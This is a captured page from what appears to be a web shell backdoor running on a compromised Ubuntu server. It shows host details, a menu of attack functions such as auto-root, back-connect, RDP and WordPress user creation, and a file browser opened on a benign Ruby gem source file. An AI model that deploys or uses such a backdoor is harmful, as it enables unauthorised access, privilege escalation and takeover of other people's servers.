Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
gems /
3.0.0 /
gems /
rbs-1.0.4 /
lib /
rbs /
[ HOME SHELL ]
Name
Size
Permission
Action
ast
[ DIR ]
drwxr-xr-x
definition_builder
[ DIR ]
drwxr-xr-x
prototype
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
buffer.rb
890
B
-rw-r--r--
builtin_names.rb
1.56
KB
-rw-r--r--
cli.rb
21.91
KB
-rw-r--r--
constant.rb
461
B
-rw-r--r--
constant_table.rb
4.89
KB
-rw-r--r--
definition.rb
9.17
KB
-rw-r--r--
definition_builder.rb
29.39
KB
-rw-r--r--
environment.rb
13.72
KB
-rw-r--r--
environment_loader.rb
3.06
KB
-rw-r--r--
environment_walker.rb
4.11
KB
-rw-r--r--
errors.rb
8.66
KB
-rw-r--r--
factory.rb
301
B
-rw-r--r--
location.rb
2.31
KB
-rw-r--r--
method_type.rb
2.15
KB
-rw-r--r--
namespace.rb
2.12
KB
-rw-r--r--
parser.rb
95.03
KB
-rw-r--r--
parser.y
45.51
KB
-rw-r--r--
repository.rb
2.64
KB
-rw-r--r--
substitution.rb
1.23
KB
-rw-r--r--
test.rb
2.57
KB
-rw-r--r--
type_name.rb
1.61
KB
-rw-r--r--
type_name_resolver.rb
1.56
KB
-rw-r--r--
types.rb
25.19
KB
-rw-r--r--
validator.rb
1.76
KB
-rw-r--r--
variance_calculator.rb
3.89
KB
-rw-r--r--
vendorer.rb
2.03
KB
-rw-r--r--
version.rb
35
B
-rw-r--r--
writer.rb
8.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : type_name_resolver.rb
module RBS class TypeNameResolver Query = _ = Struct.new(:type_name, :context, keyword_init: true) attr_reader :all_names attr_reader :cache def initialize() @all_names = Set[] @cache = {} end def self.from_env(env) new.add_names(env.class_decls.keys) .add_names(env.interface_decls.keys) .add_names(env.alias_decls.keys) end def add_names(names) all_names.merge(names) self end def try_cache(query) cache.fetch(query) do result = yield cache[query] = result end end def resolve(type_name, context:) if type_name.absolute? return type_name end query = Query.new(type_name: type_name, context: context) try_cache(query) do path_head, *path_tail = type_name.to_namespace.path raise unless path_head name_head = TypeName.new(name: path_head, namespace: Namespace.empty) absolute_head = context.find do |namespace| # @type break: TypeName full_name = name_head.with_prefix(namespace) has_name?(full_name) and break full_name end case absolute_head when TypeName has_name?(Namespace.new(path: absolute_head.to_namespace.path.push(*path_tail), absolute: true).to_type_name) when Namespace # This cannot happen because the `context.find` doesn't return a Namespace. raise end end end def has_name?(full_name) if all_names.include?(full_name) full_name end end end end
Close